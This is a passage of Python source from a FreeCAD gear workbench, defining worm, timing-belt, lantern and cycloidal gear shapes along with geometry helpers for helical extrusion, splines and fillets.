wires.append(make_bspline_wire([scale_1 * p for p in pts]))\n        else:\n            for scale_i in np.linspace(scale_0, scale_1, 20):\n                # beta_i = (scale_i - scale_0) * fp.beta.Value * np.pi / 180\n                # rot = rotation3D(beta_i)\n                # points = [rot(pt) * scale_i for pt in pts]\n                angle = fp.beta.Value * np.pi / 180. * \\\n                    np.sin(np.pi / 4) / \\\n                    np.sin(fp.pitch_angle.Value * np.pi / 180.)\n                points = [np.array([self.spherical_rot(p, angle)\n                                    for p in scale_i * pt]) for pt in pts]\n                wires.append(make_bspline_wire(points))\n        shape = makeLoft(wires, True)\n        if fp.reset_origin:\n            mat = App.Matrix()\n            mat.A33 = -1\n            mat.move(fcvec([0, 0, scale_1]))\n            shape = shape.transformGeometry(mat)\n        return shape\n        # return self.create_teeth(pts, pos1, fp.teeth)\n\n    def create_tooth(self):\n        w = []\n        scal1 = self.obj.m.Value * self.obj.gear.z / 2 / np.tan(\n            self.obj.pitch_angle.Value * np.pi / 180) - self.obj.height.Value / 2\n        scal2 = self.obj.m.Value * self.obj.gear.z / 2 / np.tan(\n            self.obj.pitch_angle.Value * np.pi / 180) + self.obj.height.Value / 2\n        s = [scal1, scal2]\n        pts = self.obj.gear.points(num=self.obj.numpoints)\n        for j, pos in enumerate(s):\n            w1 = []\n\n            def scale(x): return fcvec(x * pos)\n            for i in pts:\n                i_scale = list(map(scale, i))\n                w1.append(i_scale)\n            w.append(w1)\n        surfs = []\n        w_t = zip(*w)\n        for i in w_t:\n            b = BSplineSurface()\n            b.interpolate(i)\n            surfs.append(b)\n        return Shape(surfs)\n\n    def spherical_rot(self, point, phi):\n        new_phi = np.sqrt(np.linalg.norm(point)) * phi\n        return rotation3D(new_phi)(point)\n\n    def __getstate__(self):\n        return None\n\n    def __setstate__(self, state):\n        return None\n\n\nclass WormGear(BaseGear):\n\n    \"\"\"FreeCAD gear rack\"\"\"\n\n    def __init__(self, obj):\n        super(WormGear, self).__init__(obj)\n        obj.addProperty(\"App::PropertyInteger\", \"teeth\", \"base\", \"number of teeth\")\n        obj.addProperty( \"App::PropertyLength\", \"module\", \"base\", \"module\")\n        obj.addProperty(\"App::PropertyLength\", \"height\", \"base\", \"height\")\n        obj.addProperty(\"App::PropertyLength\", 'diameter', \"base\", \"diameter\")\n        obj.addProperty(\"App::PropertyAngle\", \"beta\", \"computed\", \"beta \", 1)\n        obj.addProperty(\"App::PropertyAngle\", \"pressure_angle\", \"involute\", \"pressure angle\")\n        obj.addProperty(\"App::PropertyBool\", \"reverse_pitch\", \"base\", \"reverse rotation of helix\")\n        obj.addProperty(\"App::PropertyFloat\", \"head\", \"tolerance\", \"head * module = additional length of head\")\n        obj.addProperty(\"App::PropertyFloat\", \"clearance\", \"tolerance\", \"clearance * module = additional length of root\")\n        obj.teeth = 3\n        obj.module = '1. mm'\n        obj.pressure_angle = '20. deg'\n        obj.height = '5. mm'\n        obj.diameter = '5. mm'\n        obj.clearance = 0.25\n        obj.head = 0\n        obj.reverse_pitch = False\n\n        self.obj = obj\n        obj.Proxy = self\n\n    def generate_gear_shape(self, fp):\n        m = fp.module.Value\n        d = fp.diameter.Value\n        t = fp.teeth\n        h = fp.height\n\n        clearance = fp.clearance\n        head = fp.head\n        alpha = fp.pressure_angle.Value\n        beta = np.arctan(m * t / d)\n        fp.beta = np.rad2deg(beta)\n        beta = -(fp.reverse_pitch * 2 - 1) * (np.pi / 2 - beta)\n\n        r_1 = (d - (2 + 2 * clearance) * m) / 2\n        r_2 = (d + (2 + 2 * head) * m) / 2\n        z_a = (2 + head + clearance) * m * np.tan(np.deg2rad(alpha))\n        z_b = (m * np.pi - 4 * m * np.tan(np.deg2rad(alpha))) / 2\n        z_0 = clearance * m * np.tan(np.deg2rad(alpha))\n        z_1 = z_b - z_0\n        z_2 = z_1 + z_a\n        z_3 = z_2 + z_b - 2 * head * m * np.tan(np.deg2rad(alpha))\n        z_4 = z_3 + z_a\n\n        def helical_projection(r, z):\n            phi = 2 * z / m / t\n            x = r * np.cos(phi)\n            y = r * np.sin(phi)\n            z = 0 * y\n            return np.array([x, y, z]). T\n\n        # create a circle from phi=0 to phi_1 with r_1\n        phi_0 = 2 * z_0 / m / t\n        phi_1 = 2 * z_1 / m / t\n        c1 = Part.makeCircle(r_1, App.Vector(0, 0, 0),\n                             App.Vector(0, 0, 1), np.rad2deg(phi_0), np.rad2deg(phi_1))\n\n        # create first bspline\n        z_values = np.linspace(z_1, z_2, 10)\n        r_values = np.linspace(r_1, r_2, 10)\n        points = helical_projection(r_values, z_values)\n        bsp1 = Part.BSplineCurve()\n        bsp1.interpolate(list(map(fcvec, points)))\n        bsp1 = bsp1.toShape()\n\n        # create circle from phi_2 to phi_3\n        phi_2 = 2 * z_2 / m / t\n        phi_3 = 2 * z_3 / m / t\n        c2 = Part.makeCircle(r_2, App.Vector(0, 0, 0), App.Vector(\n            0, 0, 1), np.rad2deg(phi_2), np.rad2deg(phi_3))\n\n        # create second bspline\n        z_values = np.linspace(z_3, z_4, 10)\n        r_values = np.linspace(r_2, r_1, 10)\n        points = helical_projection(r_values, z_values)\n        bsp2 = Part.BSplineCurve()\n        bsp2.interpolate(list(map(fcvec, points)))\n        bsp2 = bsp2.toShape()\n\n        wire = Part.Wire([c1, bsp1, c2, bsp2])\n        w_all = [wire]\n\n        rot = App.Matrix()\n        rot.rotateZ(2 * np.pi / t)\n        for i in range(1, t):\n            w_all.append(w_all[-1].transformGeometry(rot))\n\n        full_wire = Part.Wire(Part.Wire(w_all))\n        if h == 0:\n            return full_wire\n        else:\n            shape = helicalextrusion(Face(full_wire),\n                                     h,\n                                     h * np.tan(beta) * 2 / d)\n            return shape\n\n    def __getstate__(self):\n        return None\n\n    def __setstate__(self, state):\n        return None\n\n\nclass TimingGear(BaseGear):\n    \"\"\"FreeCAD gear rack\"\"\"\n    data = {\n            \"gt2\":  {\n                    'pitch': 2.0, 'u': 0.254,  'h': 0.75,\n                    'H': 1.38,    'r0': 0.555, 'r1': 1.0,\n                    'rs': 0.15,   'offset': 0.40\n                    },\n            \"gt3\":  {\n                    'pitch': 3.0, 'u': 0.381, 'h': 1.14,\n                    'H': 2.40, 'r0': 0.85, 'r1': 1.52,\n                    'rs': 0.25, 'offset': 0.61\n                    },\n            \"gt5\":  {\n                    'pitch': 5.0,  'u': 0.5715,  'h': 1.93,\n                    'H': 3.81,  'r0': 1.44,  'r1': 2.57,\n                    'rs': 0.416,  'offset': 1.03\n                    },\n            \"gt8\":  {\n                    'pitch': 8.0,  'u': 0.9144,  'h': 3.088,\n                    'H': 6.096,  'r0': 2.304,  'r1': 4.112,\n                    'rs': 0.6656,  'offset': 1.648\n                    },\n            \"htd3\": {\n                    'pitch': 3.0, 'u': 0.381, 'h': 1.21,\n                    'H': 2.40, 'r0': 0.89, 'r1': 0.89,\n                    'rs': 0.26, 'offset': 0.0\n                    },\n            \"htd5\": {\n                    'pitch': 5.0, 'u': 0.5715, 'h': 2.06,\n                    'H': 3.80, 'r0': 1.49, 'r1': 1.49,\n                    'rs': 0.43, 'offset': 0.0\n                    },\n            \"htd8\": {\n                    'pitch': 8.0, 'u': 0.686, 'h': 3.45,\n                    'H': 6.00, 'r0': 2.46, 'r1': 2.46,\n                    'rs': 0.70, 'offset': 0.0\n                    }\n            }\n\n    def __init__(self, obj):\n        super(TimingGear, self).__init__(obj)\n        obj.addProperty(\"App::PropertyInteger\", \"teeth\", \"base\", \"number of teeth\")\n        obj.addProperty( \"App::PropertyEnumeration\", \"type\", \"base\", \"type of timing-gear\")\n        obj.addProperty( \"App::PropertyLength\", \"height\", \"base\", \"height\")\n        obj.addProperty( \"App::PropertyLength\", \"pitch\", \"computed\", \"pitch of gear\", 1)\n        obj.addProperty( \"App::PropertyLength\", \"h\", \"computed\", \"radial height of teeth\", 1)\n        obj.addProperty( \"App::PropertyLength\", \"u\", \"computed\", \"radial difference between pitch diameter and head of gear\", 1)\n        obj.addProperty( \"App::PropertyLength\", \"r0\", \"computed\", \"radius of first arc\", 1)\n        obj.addProperty( \"App::PropertyLength\", \"r1\", \"computed\", \"radius of second arc\", 1)\n        obj.addProperty( \"App::PropertyLength\", \"rs\", \"computed\", \"radius of third arc\", 1)\n        obj.addProperty( \"App::PropertyLength\", \"offset\", \"computed\", \"x-offset of second arc-midpoint\", 1)\n        obj.teeth = 15\n        obj.type = ['gt2', 'gt3', 'gt5', 'gt8', 'htd3', 'htd5', 'htd8']\n        obj.height = '5. mm'\n\n        self.obj = obj\n        obj.Proxy = self\n\n    def generate_gear_shape(self, fp):\n        # m ... center of arc/circle\n        # r ... radius of arc/circle\n        # x ... end-point of arc\n        # phi ... angle\n        tp = fp.type\n        gt_data = self.data[tp]\n        pitch = fp.pitch = gt_data[\"pitch\"]\n        h = fp.h = gt_data[\"h\"]\n        u = fp.u = gt_data[\"u\"]\n        r_12 = fp.r0 = gt_data[\"r0\"]\n        r_23 = fp.r1 = gt_data[\"r1\"]\n        r_34 = fp.rs = gt_data[\"rs\"]\n        offset = fp.offset = gt_data[\"offset\"]\n\n        arcs = []\n        if offset == 0.:\n          phi5 = np.pi / fp.teeth\n          ref = reflection(-phi5 - np.pi / 2.)\n          rp = pitch * fp.teeth / np.pi / 2. - u\n          \n          m_34 = np.array([-(r_12 + r_34), rp - h + r_12])\n          x2 = np.array([-r_12, m_34[1]])\n          x4 = np.array([m_34[0], m_34[1] + r_34])\n          x6 = ref(x4)\n\n          mir = np.array([-1., 1.])\n          xn2 = mir * x2\n          xn4 = mir * x4\n          mn_34 = mir * m_34\n\n          arcs.append(part_arc_from_points_and_center(xn4, xn2, mn_34).toShape())\n          arcs.append(Part.Arc(App.Vector(*xn2, 0.), App.Vector(0, rp - h, 0.), App.Vector(*x2, 0.)).toShape())\n          arcs.append(part_arc_from_points_and_center(x2, x4, m_34).toShape())\n          arcs.append(part_arc_from_points_and_center(x4, x6, np.array([0. ,0.])).toShape())\n\n        else:\n          phi_12 = np.arctan(np.sqrt(1. / (((r_12 - r_23) / offset) ** 2 - 1)))\n          rp = pitch * fp.teeth / np.pi / 2.\n          r4 = r5 = rp - u\n\n          m_12 = np.array([0., r5 - h + r_12])\n          m_23 = np.array([offset, offset / np.tan(phi_12) + m_12[1]])\n          m_23y = m_23[1]\n\n          # solving for phi4:\n          # sympy.solve(\n          # ((r5 - r_34) * sin(phi4) + offset) ** 2 + \\\n          # ((r5 - r_34) * cos(phi4) - m_23y) ** 2 - \\\n          # ((r_34 + r_23) ** 2), phi4)\n\n          phi4 = 2*np.arctan((-2*offset*r5 + 2*offset*r_34 + np.sqrt(-m_23y**4 - 2*m_23y**2*offset**2 + \\\n          2*m_23y**2*r5**2 - 4*m_23y**2*r5*r_34 + 2*m_23y**2*r_23**2 + \\\n          4*m_23y**2*r_23*r_34 + 4*m_23y**2*r_34**2 - offset**4 + 2*offset**2*r5**2 - \\\n          4*offset**2*r5*r_34 + 2*offset**2*r_23**2 + 4*offset**2*r_23*r_34 + 4*offset**2*r_34**2 - \\\n          r5**4 + 4*r5**3*r_34 + 2*r5**2*r_23**2 + 4*r5**2*r_23*r_34 - \\\n          4*r5**2*r_34**2 - 4*r5*r_23**2*r_34 - 8*r5*r_23*r_34**2 - r_23**4 - \\\n          4*r_23**3*r_34 - 4*r_23**2*r_34**2))/(m_23y**2 + 2*m_23y*r5 - \\\n          2*m_23y*r_34 + offset**2 + r5**2 - 2*r5*r_34 - r_23**2 - 2*r_23*r_34))\n\n          phi5 = np.pi / fp.teeth\n\n          m_34 = (r5 - r_34) * np.array([-np.sin(phi4), np.cos(phi4)])\n\n          x2 = np.array([-r_12 * np.sin(phi_12), m_12[1] - r_12 * np.cos(phi_12)])\n          x3 = m_34 + r_34 / (r_34 + r_23) * (m_23 - m_34)\n          x4 = r4 * np.array([-np.sin(phi4), np.cos(phi4)])\n\n          ref = reflection(-phi5 - np.pi / 2)\n          x6 = ref(x4)\n          mir = np.array([-1., 1.])\n          xn2 = mir * x2\n          xn3 = mir * x3\n          xn4 = mir * x4\n\n          mn_34 = mir * m_34\n          mn_23 = mir * m_23\n\n          arcs.append(part_arc_from_points_and_center(xn4, xn3, mn_34).toShape())\n          arcs.append(part_arc_from_points_and_center(xn3, xn2, mn_23).toShape())\n          arcs.append(part_arc_from_points_and_center(xn2, x2, m_12).toShape())\n          arcs.append(part_arc_from_points_and_center(x2, x3, m_23).toShape())\n          arcs.append(part_arc_from_points_and_center(x3, x4, m_34).toShape())\n          arcs.append(part_arc_from_points_and_center(x4, x6, np.array([0. ,0.])).toShape())\n\n        wire = Part.Wire(arcs)\n        wires = [wire]\n        rot = App.Matrix()\n        rot.rotateZ(np.pi * 2 / fp.teeth)\n        for _ in range(fp.teeth - 1):\n            wire = wire.transformGeometry(rot)\n            wires.append(wire)\n\n        wi = Part.Wire(wires)\n        if fp.height.Value == 0:\n            return wi\n        else:\n            return Part.Face(wi).extrude(App.Vector(0, 0, fp.height))\n\n    def __getstate__(self):\n        pass\n\n    def __setstate__(self, state):\n        pass\n\n\nclass LanternGear(BaseGear):\n    def __init__(self, obj):\n        super(LanternGear, self).__init__(obj)\n        obj.addProperty(\"App::PropertyInteger\", \"teeth\", \"gear_parameter\", \"number of teeth\")\n        obj.addProperty(\"App::PropertyLength\", \"module\", \"base\", \"module\")\n        obj.addProperty(\"App::PropertyLength\", \"bolt_radius\", \"base\", \"the bolt radius of the rack/chain\")\n        obj.addProperty(\"App::PropertyLength\", \"height\", \"base\", \"height\")\n        obj.addProperty(\"App::PropertyInteger\", \"num_profiles\", \"accuracy\", \"number of profiles used for loft\")\n        obj.addProperty(\"App::PropertyFloat\", \"head\", \"tolerance\", \"head * module = additional length of head\")\n\n        obj.teeth = 15\n        obj.module = '1. mm'\n        obj.bolt_radius = '1 mm'\n        \n        obj.height = '5. mm'\n        obj.num_profiles = 10\n        \n        self.obj = obj\n        obj.Proxy = self\n\n    def generate_gear_shape(self, fp):\n        m = fp.module.Value\n        teeth = fp.teeth\n        r_r = fp.bolt_radius.Value\n        r_0 = m * teeth / 2\n        r_max = r_0 + r_r + fp.head * m\n\n        phi_max = (r_r + np.sqrt(r_max**2 - r_0**2)) / r_0\n\n        def find_phi_min(phi_min):\n            return r_0*(phi_min**2*r_0 - 2*phi_min*r_0*np.sin(phi_min) - \\\n                   2*phi_min*r_r - 2*r_0*np.cos(phi_min) + 2*r_0 + 2*r_r*np.sin(phi_min))\n        try:\n            import scipy.optimize\n            phi_min = scipy.optimize.root(find_phi_min, (phi_max + r_r / r_0 * 4) / 5).x[0] # , r_r / r_0, phi_max)\n        except ImportError:\n            App.Console.PrintWarning(\"scipy not available. Can't compute numerical root. Leads to a wrong bolt-radius\")\n            phi_min = r_r / r_0\n\n        # phi_min = 0 # r_r / r_0\n        phi = np.linspace(phi_min, phi_max, fp.num_profiles)\n        x = r_0 * (np.cos(phi) + phi * np.sin(phi)) - r_r * np.sin(phi)\n        y = r_0 * (np.sin(phi) - phi * np.cos(phi)) + r_r * np.cos(phi)\n        xy1 = np.array([x, y]).T\n        p_1 = xy1[0]\n        p_1_end = xy1[-1]\n        bsp_1 = BSplineCurve()\n        bsp_1.interpolate(list(map(fcvec, xy1)))\n        w_1 = bsp_1.toShape()\n\n        xy2 = xy1 * np.array([1., -1.])\n        p_2 = xy2[0]\n        p_2_end = xy2[-1]\n        bsp_2 = BSplineCurve()\n        bsp_2.interpolate(list(map(fcvec, xy2)))\n        w_2 = bsp_2.toShape()\n\n        p_12 = np.array([r_0 - r_r, 0.])\n\n        arc = Part.Arc(App.Vector(*p_1, 0.), App.Vector(*p_12, 0.), App.Vector(*p_2, 0.)).toShape()\n\n        rot = rotation(-np.pi * 2 / teeth)\n        p_3 = rot(np.array([p_2_end]))[0]\n        # l = Part.LineSegment(fcvec(p_1_end), fcvec(p_3)).toShape()\n        l = part_arc_from_points_and_center(p_1_end, p_3, np.array([0., 0.])).toShape()\n        w = Part.Wire([w_2, arc, w_1, l])\n        wires = [w]\n\n        rot = App.Matrix()\n        for _ in range(teeth - 1):\n            rot.rotateZ(np.pi * 2 / teeth)\n            wires.append(w.transformGeometry(rot))\n\n        wi = Part.Wire(wires)\n        if fp.height.Value == 0:\n            return wi\n        else:\n            return Part.Face(wi).extrude(App.Vector(0, 0, fp.height))\n\n    def __getstate__(self):\n        pass\n\n    def __setstate__(self, state):\n        pass\n\nclass HypoCycloidGear(BaseGear):\n\n    \"\"\"parameters:\n        pressure_angle:  pressureangle,   10-30°\n        pitch_angle:  cone angle,      0 < pitch_angle < pi/4\n    \"\"\"\n\n    def __init__(self, obj):\n        super(HypoCycloidGear, self).__init__(obj)\n        obj.addProperty(\"App::PropertyFloat\",\"pin_circle_radius\",       \"gear_parameter\",\"Pin ball circle radius(overrides Tooth Pitch\")\n        obj.addProperty(\"App::PropertyFloat\",\"roller_diameter\",         \"gear_parameter\",\"Roller Diameter\")\n        obj.addProperty(\"App::PropertyFloat\",\"eccentricity\",            \"gear_parameter\",\"Eccentricity\")\n        obj.addProperty(\"App::PropertyAngle\",\"pressure_angle_lim\",      \"gear_parameter\",\"Pressure angle limit\")\n        obj.addProperty(\"App::PropertyFloat\",\"pressure_angle_offset\",   \"gear_parameter\",\"Offset in pressure angle\")\n        obj.addProperty(\"App::PropertyInteger\",\"teeth_number\",          \"gear_parameter\",\"Number of teeth in Cam\")\n        obj.addProperty(\"App::PropertyInteger\",\"segment_count\",         \"gear_parameter\",\"Number of points used for spline interpolation\")\n        obj.addProperty(\"App::PropertyLength\",\"hole_radius\",            \"gear_parameter\",\"Center hole's radius\")\n\n\n        obj.addProperty(\"App::PropertyBool\", \"show_pins\", \"Pins\", \"Create pins in place\")\n        obj.addProperty(\"App::PropertyLength\",\"pin_height\", \"Pins\", \"height\")\n        obj.addProperty(\"App::PropertyBool\", \"center_pins\", \"Pins\", \"Center pin Z axis to generated disks\")\n\n        obj.addProperty(\"App::PropertyBool\", \"show_disk0\", \"Disks\", \"Show main cam disk\")\n        obj.addProperty(\"App::PropertyBool\", \"show_disk1\", \"Disks\", \"Show another reversed cam disk on top\")\n        obj.addProperty(\"App::PropertyLength\",\"disk_height\", \"Disks\", \"height\")\n\n        obj.pin_circle_radius = 66\n        obj.roller_diameter = 3\n        obj.eccentricity = 1.5\n        obj.pressure_angle_lim = '50.0 deg'\n        obj.pressure_angle_offset = 0.01\n        obj.teeth_number = 42\n        obj.segment_count = 42\n        obj.hole_radius = '30. mm'\n\n        obj.show_pins  = True\n        obj.pin_height = '20. mm'\n        obj.center_pins= True\n\n        obj.show_disk0 = True\n        obj.show_disk1 = True\n        obj.disk_height= '10. mm'\n\n        self.obj = obj\n        obj.Proxy = self\n\n    def to_polar(self,x, y):\n        return (x**2 + y**2)**0.5, math.atan2(y, x)\n\n    def to_rect(self,r, a):\n        return r*math.cos(a), r*math.sin(a)\n\n    def calcyp(self,p,a,e,n):\n        return math.atan(math.sin(n*a)/(math.cos(n*a)+(n*p)/(e*(n+1))))\n\n    def calc_x(self,p,d,e,n,a):\n        return (n*p)*math.cos(a)+e*math.cos((n+1)*a)-d/2*math.cos(self.calcyp(p,a,e,n)+a)\n\n    def calc_y(self,p,d,e,n,a):\n        return (n*p)*math.sin(a)+e*math.sin((n+1)*a)-d/2*math.sin(self.calcyp(p,a,e,n)+a)\n\n    def calc_pressure_angle(self,p,d,n,a):\n        ex = 2**0.5\n        r3 = p*n\n        rg = r3/ex\n        pp = rg * (ex**2 + 1 - 2*ex*math.cos(a))**0.5 - d/2\n        return math.asin( (r3*math.cos(a)-rg)/(pp+d/2))*180/math.pi\n\n    def calc_pressure_limit(self,p,d,e,n,a):\n        ex = 2**0.5\n        r3 = p*n\n        rg = r3/ex\n        q = (r3**2 + rg**2 - 2*r3*rg*math.cos(a))**0.5\n        x = rg - e + (q-d/2)*(r3*math.cos(a)-rg)/q\n        y = (q-d/2)*r3*math.sin(a)/q\n        return (x**2 + y**2)**0.5\n\n    def check_limit(self,x,y,maxrad,minrad,offset):\n        r, a = self.to_polar(x, y)\n        if (r > maxrad) or (r < minrad):\n                r = r - offset\n                x, y = self.to_rect(r, a)\n        return x, y\n\n    def generate_gear_shape(self, fp):\n        b = fp.pin_circle_radius\n        d = fp.roller_diameter\n        e = fp.eccentricity\n        n = fp.teeth_number\n        p = b/n\n        s = fp.segment_count\n        ang = fp.pressure_angle_lim\n        c = fp.pressure_angle_offset\n\n        q = 2*math.pi/float(s)\n\n        # Find the pressure angle limit circles\n        minAngle = -1.0\n        maxAngle = -1.0\n        for i in range(0, 180):\n            x = self.calc_pressure_angle(p, d, n, i * math.pi / 180.)\n            if ( x < ang) and (minAngle < 0):\n                minAngle = float(i)\n            if (x < -ang) and (maxAngle < 0):\n                maxAngle = float(i-1)\n\n        minRadius = self.calc_pressure_limit(p, d, e, n, minAngle * math.pi / 180.)\n        maxRadius = self.calc_pressure_limit(p, d, e, n, maxAngle * math.pi / 180.)\n        # unused\n        # Wire(Part.makeCircle(minRadius,App.Vector(-e, 0, 0)))\n        # Wire(Part.makeCircle(maxRadius,App.Vector(-e, 0, 0)))\n\n        App.Console.PrintMessage(\"Generating cam disk\\r\\n\")\n        #generate the cam profile - note: shifted in -x by eccentricicy amount\n        i=0\n        x = self.calc_x(p, d, e, n, q*i / float(n))\n        y = self.calc_y(p, d, e, n, q*i / n)\n        x, y = self.check_limit(x,y,maxRadius,minRadius,c)\n        points = [App.Vector(x-e, y, 0)]\n        for i in range(0,s):\n            x = self.calc_x(p, d, e, n, q*(i+1) / n)\n            y = self.calc_y(p, d, e, n, q*(i+1) / n)\n            x, y = self.check_limit(x, y, maxRadius, minRadius, c)\n            points.append([x-e, y, 0])\n\n        wi = make_bspline_wire([points])\n        wires = []\n        mat= App.Matrix()\n        mat.move(App.Vector(e, 0., 0.))\n        mat.rotateZ(2 * np.pi / n)\n        mat.move(App.Vector(-e, 0., 0.))\n        for _ in range(n):\n            wi = wi.transformGeometry(mat)\n            wires.append(wi)\n\n        cam = Face(Wire(wires))\n        #add a circle in the center of the cam\n        if fp.hole_radius.Value:\n            centerCircle = Face(Wire(Part.makeCircle(fp.hole_radius.Value, App.Vector(-e, 0, 0))))\n            cam = cam.cut(centerCircle)\n\n        to_be_fused = []\n        if fp.show_disk0==True:\n            if fp.disk_height.Value==0:\n                to_be_fused.append(cam)\n            else:\n                to_be_fused.append(cam.extrude(App.Vector(0, 0, fp.disk_height.Value)))\n\n        #secondary cam disk\n        if fp.show_disk1==True:\n            App.Console.PrintMessage(\"Generating secondary cam disk\\r\\n\")\n            second_cam = cam.copy()\n            mat= App.Matrix()\n            mat.rotateZ(np.pi)\n            mat.move(App.Vector(-e, 0, 0))\n            if n%2 == 0:\n                mat.rotateZ(np.pi/n)\n            mat.move(App.Vector(e, 0, 0))\n            second_cam = second_cam.transformGeometry(mat)\n            if fp.disk_height.Value==0:\n                to_be_fused.append(second_cam)\n            else:\n                to_be_fused.append(second_cam.extrude(App.Vector(0, 0, -fp.disk_height.Value)))\n\n        #pins\n        if fp.show_pins==True:\n            App.Console.PrintMessage(\"Generating pins\\r\\n\")\n            pins = []\n            for i in range(0, n + 1):\n                x = p * n * math.cos(2 * math.pi / (n + 1) * i)\n                y = p * n * math.sin(2 * math.pi / (n + 1) * i)\n                pins.append(Wire(Part.makeCircle(d / 2, App.Vector(x, y, 0))))\n\n            pins = Face(pins)\n\n            z_offset = -fp.pin_height.Value / 2;\n\n            if fp.center_pins==True:\n                if fp.show_disk0==True and fp.show_disk1==False:\n                    z_offset += fp.disk_height.Value / 2;\n                elif fp.show_disk0==False and fp.show_disk1==True:\n                    z_offset += -fp.disk_height.Value / 2;\n            #extrude\n            if z_offset!=0:\n                pins.translate(App.Vector(0, 0, z_offset))\n            if fp.pin_height!=0:\n                pins = pins.extrude(App.Vector(0, 0, fp.pin_height.Value))\n\n            to_be_fused.append(pins);\n\n        if to_be_fused:\n            return Part.makeCompound(to_be_fused)\n\n    def __getstate__(self):\n        pass\n\n    def __setstate__(self, state):\n        pass\n\ndef part_arc_from_points_and_center(p_1, p_2, m):\n    p_1, p_12, p_2 = arc_from_points_and_center(p_1, p_2, m)\n    return Part.Arc(App.Vector(*p_1, 0.), App.Vector(*p_12, 0.), App.Vector(*p_2, 0.))\n\n\ndef helicalextrusion(face, height, angle, double_helix=False):\n    \"\"\"\n    A helical extrusion using the BRepOffsetAPI\n    face -- the face to extrude (may contain holes, i.e. more then one wires)\n    height -- the height of the extrusion, normal to the face\n    angle -- the twist angle of the extrusion in radians\n\n    returns a solid\n    \"\"\"\n    pitch = height * 2 * np.pi / abs(angle)\n    radius = 10.0 # as we are only interested in the \"twist\", we take an arbitrary constant here\n    cone_angle = 0\n    direction = bool(angle < 0)\n    if double_helix:\n        spine = Part.makeHelix(pitch, height / 2.0, radius, cone_angle, direction)\n        spine.translate(App.Vector(0, 0, height / 2.0))\n        face = face.translated(App.Vector(0, 0, height / 2.0)) # don't transform our argument\n    else:\n        spine = Part.makeHelix(pitch, height, radius, cone_angle, direction)\n    def make_pipe(path, profile):\n        \"\"\"\n        returns (shell, last_wire)\n        \"\"\"\n        mkPS = Part.BRepOffsetAPI.MakePipeShell(path)\n        mkPS.setFrenetMode(True) # otherwise, the profile's normal would follow the path\n        mkPS.add(profile, False, False)\n        mkPS.build()\n        return (mkPS.shape(), mkPS.lastShape())\n    shell_faces = []\n    top_wires = []\n    for wire in face.Wires:\n        pipe_shell, top_wire = make_pipe(spine, wire)\n        shell_faces.extend(pipe_shell.Faces)\n        top_wires.append(top_wire)\n    top_face = Part.Face(top_wires)\n    shell_faces.append(top_face)\n    if double_helix:\n        origin = App.Vector(0, 0, height / 2.0)\n        xy_normal = App.Vector(0, 0, 1)\n        mirror_xy = lambda f: f.mirror(origin, xy_normal)\n        bottom_faces = list(map(mirror_xy, shell_faces))\n        shell_faces.extend(bottom_faces)\n        # TODO: why the heck is makeShell from this empty after mirroring?\n        # ... and why the heck does it work when making an intermediate compound???\n        hacky_intermediate_compound = Part.makeCompound(shell_faces)\n        shell_faces = hacky_intermediate_compound.Faces\n    else:\n        shell_faces.append(face) # the bottom is what we extruded\n    shell = Part.makeShell(shell_faces)\n    #shell.sewShape() # fill gaps that may result from accumulated tolerances. Needed?\n    #shell = shell.removeSplitter() # refine. Needed?\n    return Part.makeSolid(shell)\n\ndef make_face(edge1, edge2):\n    v1, v2 = edge1.Vertexes\n    v3, v4 = edge2.Vertexes\n    e1 = Wire(edge1)\n    e2 = LineSegment(v1.Point, v3.Point).toShape().Edges[0]\n    e3 = edge2\n    e4 = LineSegment(v4.Point, v2.Point).toShape().Edges[0]\n    w = Wire([e3, e4, e1, e2])\n    return(Face(w))\n\n\ndef make_bspline_wire(pts):\n    wi = []\n    for i in pts:\n        out = BSplineCurve()\n        out.interpolate(list(map(fcvec, i)))\n        wi.append(out.toShape())\n    return Wire(wi)\n\n\ndef points_to_wire(pts):\n    wire = []\n    for i in pts:\n        if len(i) == 2:\n            # straight edge\n            out = LineSegment(*list(map(fcvec, i)))\n        else:\n            out = BSplineCurve()\n            out.interpolate(list(map(fcvec, i)))\n        wire.append(out.toShape())  \n    return Wire(wire)\n\ndef rotate_tooth(base_tooth, num_teeth):\n    rot = App.Matrix()\n    rot.rotateZ(2 * np.pi / num_teeth)\n    flat_shape = [base_tooth]\n    for t in range(num_teeth - 1):\n        flat_shape.append(flat_shape[-1].transformGeometry(rot))\n    return Wire(flat_shape)\n\n\n\n\ndef fillet_between_edges(edge_1, edge_2, radius):\n    # assuming edges are in a plane\n    # extracting vertices\n    try:\n        from Part import ChFi2d\n    except ImportError:\n        App.Console.PrintWarning(\"Your freecad version has no python bindings for 2d-fillets\")\n        return [edge_1, edge_2]\n\n    api = ChFi2d.FilletAPI()\n    p1 = edge_1.valueAt(edge_1.FirstParameter)\n    p2 = edge_1.valueAt(edge_1.LastParameter)\n    p3 = edge_2.valueAt(edge_2.FirstParameter)\n    p4 = edge_2.valueAt(edge_2.LastParameter)\n    t1 = p2 - p1\n    t2 = p4 - p3\n    n = t1.cross(t2)\n    pln = Part.Plane(edge_1.valueAt(edge_1.FirstParameter), n)\n    api.init(edge_1, edge_2, pln)\n    if api.perform(radius) > 0:\n        p0 = (p2 + p3) / 2\n        fillet, e1, e2 = api.result(p0)\n        return Part.Wire([e1, fillet, e2]).Edges\n    else:\n        return None\n\n\ndef insert_fillet(edges, pos, radius):\n    assert pos < (len(edges) - 1)\n    e1 = edges[pos]\n    e2 = edges[pos + 1]\n    if radius > 0:\n        fillet_edges = fillet_between_edges(e1, e2, radius)\n        if not fillet_edges:\n            raise RuntimeError(\"fillet not possible\")\n    else:\n        fillet_edges = [e1, None, e2]\n    output_edges = []\n    for i, edge in enumerate(edges):\n        if i == pos:\n            output_edges += fillet_edges\n        elif i == (pos + 1):\n            pass\n        else:\n            output_edges.append(edge)\n    return output_edges\n","repo_name":"looooo/freecad.gears","sub_path":"freecad/gears/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":77293,"program_lang":"python","lang":"en","doc_type":"code","stars":216,"dataset":"github-code","pt":"35"}
